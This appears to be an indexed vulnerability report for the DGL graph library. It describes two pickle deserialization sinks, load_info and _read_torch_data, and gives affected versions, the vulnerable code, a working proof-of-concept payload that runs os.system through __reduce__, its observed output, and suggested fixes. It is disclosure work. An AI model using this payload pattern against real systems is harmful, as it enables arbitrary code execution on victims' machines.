Arbitrary Code Execution in DGL via `load_info` and Graphbolt Torch-Data Loading
- Dominant language
- Python
- Stars
- 14.3k
- Forks
- 3.1k
- PR merge metrics
- No merged PRs in 30d
Description
# Arbitrary Code Execution in DGL via `load_info` and graphbolt torch-data loading
## Affected Component
- `dgl` — `dgl.data.utils` (`load_info`), `dgl.graphbolt.internal.utils` (`read_data` → `_read_torch_data`); public APIs `dgl.data.utils.load_info(path)` — `dgl/data/utils.py:342` — and `read_data(path, fmt, in_memory=True)` — `dgl/graphbolt/internal/utils.py:40`, reached from public `OnDiskDataset.load()`
- Further referenced sites: `utils.py:31`, `utils.py:40`
## Affected Versions
- Runtime-verified on dgl 2.1.0 (official pip wheel), torch 2.1.2+cpu, Python 3.10, Linux; source-verified on repo main HEAD: raw `pickle.load` at `data/utils.py:356`; hardcoded `torch.load(..., weights_only=False)` at `graphbolt/internal/utils.py:31`, `graphbolt/impl/ondisk_dataset.py:855`, `graphbolt/impl/torch_based_feature_store.py:618`, `distributed/partition.py:374`.
- Upstream status (2026-08-27): master@`3d16000b41` keeps both sink families; `data/lrgb.py:256-1041` (`LRGBDataset`, public `get_idx_split`) adds bare `pickle.load` ×6 on dataset `.pkl` files; the legacy graph_serialize path is a C++-native format, not a pickle sink. Latest Linux-channel release is still 2.1.0. PyPI 2.2.1 (2024-05) ships only a win_amd64 wheel: `load_info` (`:356`) unchanged (still RCE); the 4 graphbolt `weights_only=False` literals were deleted, leaving bare `torch.load` (effectively fixed on torch ≥ 2.6, still RCE on torch < 2.6); the lrgb.py ×6 sites remain.
## Summary
Two independent sinks execute attacker-controlled pickle payloads when a victim loads DGL data files: `load_info` — a public utility recommended in the `DGLDataset` docstring for reading dataset `info.pkl` — calls raw `pickle.load` on the file; and `_read_torch_data` calls `torch.load` with the hardcoded literal `weights_only=False`, disabling the restricted unpickler torch ≥ 2.6 enables by default. Neither API exposes a safety parameter (`load_info(path)` takes only the path; `read_data`'s parameters select the format reader and caching), and no environment variable or config file affects either sink (`DGLBACKEND` selects the tensor backend only). A repo-wide grep for `weights_only=True`, `RestrictedUnpickler`, `safe_globals`, `allow_pickle=False` returns zero matches across the dgl Python tree. For the graphbolt sink the sole mitigation is torch's global `TORCH_FORCE_WEIGHTS_ONLY_LOAD=1` (non-default, breaks legitimate old checkpoints); DGL offers no switch.
## Vulnerable Code
```python
# dgl/data/utils.py
def load_info(path): # :342 (open at :355)
with open(path, "rb") as pf:
info = pickle.load(pf) # :356 *** RCE sink 1: raw pickle.load ***
return info
# dgl/graphbolt/internal/utils.py
def read_data(path, fmt, in_memory=True): # :40
...
return _read_torch_data(path)
def _read_torch_data(path):
return torch.load(path, weights_only=False) # :31 *** RCE sink 2: hardcoded literal ***
```
## Proof of Concept
```python
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/DGL_PWNED 2>&1',))
with open('/tmp/evil_info.pkl', 'wb') as f:
f.write(pickle.dumps(Exploit(), protocol=2))
import dgl
from dgl.data.utils import load_info
info = load_info('/tmp/evil_info.pkl') # sink 1: pickle.load
import torch
torch.save(Exploit(), '/tmp/evil_torch.pt')
from dgl.graphbolt.internal.utils import _read_torch_data
obj = _read_torch_data('/tmp/evil_torch.pt') # sink 2: torch.load(weights_only=False)
```
Install: `pip install "torch==2.1.2" "torchdata==0.7.1" "numpy==1.26.4" --index-url https://download.pytorch.org/whl/cpu`, then `pip install dgl pandas pydantic pyyaml` and `export DGLBACKEND=pytorch`.
## Observed Result
On dgl 2.1.0 / torch 2.1.2+cpu / Python 3.10 / Linux: `load_info` returned `0` and executed the payload — `uid=1000(lbz) gid=1000(lbz) groups=1000(lbz),4(adm),24(cdrom),27(sudo),...` appeared; `_read_torch_data` likewise returned `0` and executed it. `/tmp/DGL_PWNED` contains the victim user's `id` output, and the installed wheel's `data/utils.py:356` was grep-confirmed to contain the raw `pickle.load`. Neither API signature, environment variable, nor configuration file prevents execution on either sink.
## Fix
None at report date. Hardening: drop `weights_only=False` (keep torch's restricted-unpickler default) and use an allowlist `RestrictedUnpickler` in `load_info`.
Contributor guide
No contributing guide indexed for this repository
Research direction
Read dgl/data/utils.py at load_info and dgl/graphbolt/internal/utils.py at read_data and _read_torch_data, then review the additional torch.load sites named in graphbolt/impl, distributed/partition.py, and data/lrgb.py. Run the supplied proof of concept against the affected versions. Done means attacker-controlled data no longer executes code through these loading paths while supported data loading remains usable.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python, pytorch
- Domain
- machine-learning, security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 25/100